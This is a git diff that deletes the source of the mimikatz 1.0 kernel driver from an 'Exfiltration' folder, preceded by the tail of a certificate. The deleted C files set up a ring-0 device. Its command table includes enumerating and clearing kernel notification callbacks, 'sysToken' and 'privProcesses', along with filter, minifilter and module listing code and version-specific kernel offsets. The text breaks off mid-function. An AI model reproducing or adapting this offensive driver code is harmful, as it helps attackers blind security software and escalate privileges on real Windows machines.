-Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv -ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/ -vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa -deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L -JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x -GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz -1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q -zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7 -Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y -QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+ -qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX -Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN -Gi1nyfSAFIS3hQzRZiilxm8kYQ== ------END CERTIFICATE----- diff --git a/Exfiltration/mimikatz-1.0/driver/SOURCES b/Exfiltration/mimikatz-1.0/driver/SOURCES deleted file mode 100644 index f544791..0000000 --- a/Exfiltration/mimikatz-1.0/driver/SOURCES +++ /dev/null @@ -1,9 +0,0 @@ -TARGETNAME=mimikatz -TARGETPATH=OBJ -TARGETTYPE=DRIVER -SOURCES=mimikatz.c \ - mod_memory.c \ - processes.c minifilters.c fsfilters.c modules.c ssdt.c \ - notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c - -TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.c b/Exfiltration/mimikatz-1.0/driver/fsfilters.c deleted file mode 100644 index fc80756..0000000 --- a/Exfiltration/mimikatz-1.0/driver/fsfilters.c +++ /dev/null @@ -1,35 +0,0 @@ -#include "fsfilters.h" - -NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG ActualNumberDriverObjects = 0; - PDRIVER_OBJECT * DriverObjectList = NULL; - - ULONG i; - - *ppszDestEnd = pszDest; - *pcbRemaining= cbDest; - - IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects); - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects); - if(NT_SUCCESS(status)) - { - if(ActualNumberDriverObjects > 0) - { - DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG); - if(DriverObjectList != NULL) - { - IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects); - for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); - //DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); - ObDereferenceObject(DriverObjectList[i]); - } - ExFreePoolWithTag(DriverObjectList, POOL_TAG); - } - } - } - return status; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.h b/Exfiltration/mimikatz-1.0/driver/fsfilters.h deleted file mode 100644 index 9e82e9c..0000000 --- a/Exfiltration/mimikatz-1.0/driver/fsfilters.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once -#include -#include "k_types.h" - -NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/k_types.h b/Exfiltration/mimikatz-1.0/driver/k_types.h deleted file mode 100644 index f82465f..0000000 --- a/Exfiltration/mimikatz-1.0/driver/k_types.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once -#include -#include - -#define MIN(a, b) (((a) < (b)) ? (a) : (b)) -#define MAX(a, b) (((a) > (b)) ? (a) : (b)) - -#ifndef KIWI_NameToFunc -#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;} -#endif - -#ifndef KIWI_mask3bits -#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7) -#endif - -#define POOL_TAG 'iwik' - -#define INDEX_UNK 0 -#define INDEX_XP 1 -#define INDEX_2K3 2 -#define INDEX_VISTA 3 -#define INDEX_2K8 4 -#define INDEX_7 5 -#define INDEX_2K8R2 6 -#define INDEX_8 7 -#define MAX_OS_LEN 8 - -#ifdef _M_IX86 -#define EX_FAST_REF_MASK 0x07 -#else -#define EX_FAST_REF_MASK 0x0f -#endif - -typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); - -ULONG INDEX_OS; - -PDRIVER_OBJECT moi; - -typedef struct _SERVICE_DESCRIPTOR_TABLE { -#ifdef _M_IX86 - PVOID *ServiceTable; -#else - LONG *OffsetToService; -#endif - PULONG CounterTable; - ULONG TableSize; - PUCHAR ArgumentTable; -} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.c b/Exfiltration/mimikatz-1.0/driver/mimikatz.c deleted file mode 100644 index d109eac..0000000 --- a/Exfiltration/mimikatz-1.0/driver/mimikatz.c +++ /dev/null @@ -1,193 +0,0 @@ -#include "mimikatz.h" - -ptrLocalFunction maFunc = NULL; - -NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) -{ - return STATUS_NOT_SUPPORTED; -} - -NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp) -{ - NTSTATUS status = STATUS_INVALID_PARAMETER; - PIO_STACK_LOCATION pIoStackIrp = NULL; - PWSTR params; - size_t tailleParams; - - pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); - if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) - { - status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc); - - if(NT_SUCCESS(status)) - { - Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length; - } - } - IoCompleteRequest(Irp, IO_NO_INCREMENT); - Irp->IoStatus.Status = status; - - return status; -} - -NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp) -{ - NTSTATUS status = STATUS_INVALID_HANDLE; - PIO_STACK_LOCATION pIoStackIrp = NULL; - - LPWSTR pszDestEnd; - size_t pcbRemaining; - - pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); - if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) - { - if(maFunc) - { - status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining); - - if(NT_SUCCESS(status)) - { - Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining; - } - } - else - { - status = STATUS_PROCEDURE_NOT_FOUND; - } - } - IoCompleteRequest(Irp, IO_NO_INCREMENT); - Irp->IoStatus.Status = status; - - return status; -} - -void DriverUnload(IN PDRIVER_OBJECT theDriverObject) -{ - UNICODE_STRING UStrDosDeviceName; - RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); - IoDeleteSymbolicLink(&UStrDosDeviceName); - IoDeleteDevice(theDriverObject->DeviceObject); -} - -NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) -{ - NTSTATUS status; - UNICODE_STRING UStrDriverName, UStrDosDeviceName; - PDEVICE_OBJECT pDeviceObject = NULL; - ULONG i; - - moi = theDriverObject; - RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz"); - status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject); - - if(NT_SUCCESS(status)) - { - INDEX_OS = getWindowsIndex(); - - for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) - theDriverObject->MajorFunction[i] = UnSupported; - - theDriverObject->MajorFunction[IRP_MJ_READ] = Read; - theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write; - - theDriverObject->DriverUnload = DriverUnload; - - pDeviceObject->Flags |= DO_BUFFERED_IO; - pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; - - RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); - IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName); - } - - return status; -} - - -ULONG getWindowsIndex() -{ - switch(*NtBuildNumber) - { - case 2600: - return INDEX_XP; - break; - case 3790: - return INDEX_2K3; - break; - case 6000: - case 6001: - return INDEX_VISTA; - case 6002: - return INDEX_2K8; - break; - case 7600: - case 7601: - return INDEX_7; - break; - case 8102: - case 8250: - case 9200: - return INDEX_8; - break; - default: - return 0; - } -} - -NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc) -{ - NTSTATUS status; - size_t tailleChaine; - ULONG i; - ULONG taillFunc; - - status = RtlStringCbLengthW(buffer, taille, &tailleChaine); - if(NT_SUCCESS(status)) - { - for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++); - - if( (i+1) < (tailleChaine / sizeof(WCHAR))) - { - *params = buffer + (i+1); - *tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!! - DbgPrint("%u", *tailleParams); - } - else - { - *params = NULL; - *tailleParams = 0; - } - - *destFunc = NULL; - taillFunc = i*sizeof(WCHAR); - - - KIWI_NameToFunc(L"ping", kPing); - - if(INDEX_OS) - { - KIWI_NameToFunc(L"ssdt", kSSDT); - - KIWI_NameToFunc(L"listModules", kModulesList); - KIWI_NameToFunc(L"listFilters", kFiltersList); - KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList); - - KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses); - KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads); - KIWI_NameToFunc(L"listNotifImages", kListNotifyImages); - KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry); - KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects); - KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects); - - KIWI_NameToFunc(L"listProcesses", listProcesses); - KIWI_NameToFunc(L"sysToken", sysToken); - KIWI_NameToFunc(L"privProcesses", privProcesses); - } - } - return status; -} - - -NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return RtlStringCbPrintfExW(pszDest, cbDest, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"Pong (from ring 0 :)\n"); -} diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.h b/Exfiltration/mimikatz-1.0/driver/mimikatz.h deleted file mode 100644 index 3ece6e2..0000000 --- a/Exfiltration/mimikatz-1.0/driver/mimikatz.h +++ /dev/null @@ -1,26 +0,0 @@ -#pragma once - -#include "minifilters.h" -#include "fsfilters.h" -#include "modules.h" -#include "processes.h" -#include "ssdt.h" - -#include "notify.h" - -#include "k_types.h" - -#include - -extern PSHORT NtBuildNumber; -ULONG getWindowsIndex(); - -DRIVER_INITIALIZE DriverEntry; -DRIVER_UNLOAD DriverUnload; - -DRIVER_DISPATCH UnSupported; -__drv_dispatchType(IRP_MJ_READ) DRIVER_DISPATCH Read; -__drv_dispatchType(IRP_MJ_WRITE) DRIVER_DISPATCH Write; - -NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc); -NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.c b/Exfiltration/mimikatz-1.0/driver/minifilters.c deleted file mode 100644 index 90ba7ef..0000000 --- a/Exfiltration/mimikatz-1.0/driver/minifilters.c +++ /dev/null @@ -1,193 +0,0 @@ -#include "minifilters.h" - -const ULONG MF_OffSetTable[MAX_OS_LEN][MAX_MF_LEN] = -{ - /* INDEX_MF_CALLBACK_OFF, INDEX_MF_CALLBACK_PRE_OFF, INDEX_MF_CALLBACK_POST_OFF, INDEX_MF_VOLUME_NAME_OFF */ -#ifdef _M_IX86 -/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, -/* INDEX_XP */ {0x007c, 0x000c, 0x0010, 0x002c}, -/* INDEX_2K3 */ {0x007c, 0x000c, 0x0010, 0x002c}, -/* INDEX_VISTA */ {0x004c, 0x000c, 0x0010, 0x0030}, -/* INDEX_2K8 */ {0x004c, 0x000c, 0x0010, 0x0030}, -/* INDEX_7 */ {0x004c, 0x000c, 0x0010, 0x0030}, -/* INDEX_2K8R2 */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas !*/ -/* INDEX_8 */ {0x004c, 0x000c, 0x0010, 0x0030} -#else -/* INDEX_UNK */ {0x0000, 0x0000, 0x0000, 0x0000}, -/* INDEX_XP */ {0x0000, 0x0000, 0x0000, 0x0000},/* n'existe pas, XP x64 est 2003 x64 */ -/* INDEX_2K3 */ {0x00e8, 0x0018, 0x0020, 0x0048}, -/* INDEX_VISTA */ {0x0090, 0x0018, 0x0020, 0x0050}, -/* INDEX_2K8 */ {0x0090, 0x0018, 0x0020, 0x0050}, -/* INDEX_7 */ {0x0090, 0x0018, 0x0020, 0x0050}, -/* INDEX_2K8R2 */ {0x0090, 0x0018, 0x0020, 0x0050}, -/* INDEX_8 */ {0x0090, 0x0018, 0x0020, 0x0050} -#endif -}; - -const WCHAR *irpToName[] = { - L"CREATE", - L"CREATE_NAMED_PIPE", - L"CLOSE", - L"READ", - L"WRITE", - L"QUERY_INFORMATION", - L"SET_INFORMATION", - L"QUERY_EA", - L"SET_EA", - L"FLUSH_BUFFERS", - L"QUERY_VOLUME_INFORMATION", - L"SET_VOLUME_INFORMATION", - L"DIRECTORY_CONTROL", - L"FILE_SYSTEM_CONTROL", - L"DEVICE_CONTROL", - L"INTERNAL_DEVICE_CONTROL", - L"SHUTDOWN", - L"LOCK_CONTROL", - L"CLEANUP", - L"CREATE_MAILSLOT", - L"QUERY_SECURITY", - L"SET_SECURITY", - L"POWER", - L"SYSTEM_CONTROL", - L"DEVICE_CHANGE", - L"QUERY_QUOTA", - L"SET_QUOTA", - L"PNP", -}; - -NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - - ULONG i, j, k; - - ULONG NumberFiltersReturned = 0; - PFLT_FILTER *FilterList = NULL; - - ULONG BytesReturned = 0; - PFILTER_FULL_INFORMATION myFilterFullInformation = NULL; - - PFLT_INSTANCE *InstanceList = NULL; - ULONG NumberInstancesReturned = 0; - - PFLT_VOLUME RetVolume = NULL; - - PVOID monCallBack, preCallBack, postCallBack; - - *ppszDestEnd = pszDest; - *pcbRemaining= cbDest; - - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n"); - if(NT_SUCCESS(status)) - { - status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned); - if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0)) - { - FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG); - if(FilterList != NULL) - { - status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned); - for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++) - { - status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned); - if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0)) - { - myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG); - if(myFilterFullInformation != NULL) - { - status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned); - if(NT_SUCCESS(status)) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L"%*.*ws\n", - myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR), - myFilterFullInformation->FilterNameBuffer - ); - - if(NT_SUCCESS(status)) - { - status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned); - if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0)) - { - InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG); - if(InstanceList != NULL) - { - status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned); - for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++) - { - /* - http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx - * InstanceName - * Altitude - * VolumeName - - FilterName - */ - - if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume))) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" Instance %u @ %wZ\n", - j, - (PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF]) - ); - FltObjectDereference (RetVolume); - } - else - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" Instance %u\n", - j - ); - } - - for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++) - { - monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k); - if(monCallBack != NULL) - { - preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]); - postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]); - - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" [0x%2x %-24ws] ", - k, - irpToName[k - 0x16] - ); - - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - - } - } - } - FltObjectDereference (InstanceList[j]); - } - ExFreePoolWithTag(InstanceList, POOL_TAG); - } - } - } - } - ExFreePoolWithTag(myFilterFullInformation, POOL_TAG); - } - } - FltObjectDereference (FilterList[i]); - } - ExFreePoolWithTag(FilterList, POOL_TAG); - } - } - } - return status; -} diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.h b/Exfiltration/mimikatz-1.0/driver/minifilters.h deleted file mode 100644 index 647031a..0000000 --- a/Exfiltration/mimikatz-1.0/driver/minifilters.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once -#include -#include "k_types.h" -#include "modules.h" - -#define INDEX_MF_CALLBACK_OFF 0 -#define INDEX_MF_CALLBACK_PRE_OFF 1 -#define INDEX_MF_CALLBACK_POST_OFF 2 -#define INDEX_MF_VOLUME_NAME_OFF 3 -#define MAX_MF_LEN 4 - -NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.c b/Exfiltration/mimikatz-1.0/driver/mod_memory.c deleted file mode 100644 index d5a05b3..0000000 --- a/Exfiltration/mimikatz-1.0/driver/mod_memory.c +++ /dev/null @@ -1,32 +0,0 @@ -#include "mod_memory.h" - -NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur) -{ - for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1) - { - if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur) - { - return STATUS_SUCCESS; - } - } - *addressePattern = NULL; - return STATUS_NOT_FOUND; -} - -NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo) -{ - NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur); - if(NT_SUCCESS(status)) - { - *addressePointeur += offsetTo; - #ifdef _M_X64 - *addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur); - #elif defined _M_IX86 - *addressePointeur = *(PUCHAR *)(*addressePointeur); - #endif - - if(!*addressePointeur) - status = STATUS_INVALID_HANDLE; - } - return status; -} diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.h b/Exfiltration/mimikatz-1.0/driver/mod_memory.h deleted file mode 100644 index 0c10fb9..0000000 --- a/Exfiltration/mimikatz-1.0/driver/mod_memory.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once -#include "k_types.h" - -NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur); -NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo); diff --git a/Exfiltration/mimikatz-1.0/driver/modules.c b/Exfiltration/mimikatz-1.0/driver/modules.c deleted file mode 100644 index 7ca3551..0000000 --- a/Exfiltration/mimikatz-1.0/driver/modules.c +++ /dev/null @@ -1,110 +0,0 @@ -#include "modules.h" - -NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status = STATUS_SUCCESS; - ULONG i; - ULONG modulesSize; - AUX_MODULE_EXTENDED_INFO* modules; - ULONG numberOfModules; - - *ppszDestEnd = pszDest; - *pcbRemaining= cbDest; - - status = AuxKlibInitialize(); - if(NT_SUCCESS(status)) - { - status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); - if (NT_SUCCESS(status)) - { - if(modulesSize > 0) - { - numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); - modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); - - if(modules != NULL) - { - status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); - if (NT_SUCCESS(status)) - { - for(i = 0; i < numberOfModules; i++) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L"%p - %.8u [%S] %S\n", - modules[i].BasicInfo.ImageBase, - modules[i].ImageSize, - modules[i].FullPathName + modules[i].FileNameOffset, - modules[i].FullPathName - ); - } - } - ExFreePoolWithTag(modules, POOL_TAG); - } - } - } - } - - return status; -} - -NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status = STATUS_SUCCESS; - ULONG i; - ULONG modulesSize; - AUX_MODULE_EXTENDED_INFO* modules; - ULONG numberOfModules; - - *ppszDestEnd = pszDest; - *pcbRemaining= cbDest; - - status = AuxKlibInitialize(); - if(NT_SUCCESS(status)) - { - status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); - if (NT_SUCCESS(status)) - { - if(modulesSize > 0) - { - numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); - modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); - - if(modules != NULL) - { - status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); - if (NT_SUCCESS(status)) - { - for(i = 0; i < numberOfModules; i++) - { - status = STATUS_NOT_FOUND; - if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize)) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L"%p [%S+%u]", - theAddr, - modules[i].FullPathName + modules[i].FileNameOffset, - theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase - ); - break; - } - - - } - - if(status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr); - if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND; - } - } - ExFreePoolWithTag(modules, POOL_TAG); - } - } - } - } - - return status; -} - - - diff --git a/Exfiltration/mimikatz-1.0/driver/modules.h b/Exfiltration/mimikatz-1.0/driver/modules.h deleted file mode 100644 index 86fe625..0000000 --- a/Exfiltration/mimikatz-1.0/driver/modules.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once -#include -#include -#include "k_types.h" - -NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify.h b/Exfiltration/mimikatz-1.0/driver/notify.h deleted file mode 100644 index 8ee225a..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once -#include -#include "k_types.h" -#include "modules.h" -#include "mod_memory.h" -#include "notify_process.h" -#include "notify_thread.h" -#include "notify_image.h" -#include "notify_reg.h" -#include "notify_object.h" - -typedef struct _KIWI_CALLBACK -{ - #ifdef _M_IX86 - PVOID unk0; - #endif - PVOID * callback; - LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi -} KIWI_CALLBACK, *PKIWI_CALLBACK; diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.c b/Exfiltration/mimikatz-1.0/driver/notify_image.c deleted file mode 100644 index 6f03fd4..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_image.c +++ /dev/null @@ -1,117 +0,0 @@ -#include "notify_image.h" - -ULONG * PspLoadImageNotifyRoutineCount = NULL; -PVOID * PspLoadImageNotifyRoutine = NULL; - -NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG i; - PKIWI_CALLBACK monCallBack; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n"); - if(NT_SUCCESS(status)) - { - status = getPspLoadImageNotifyRoutine(); 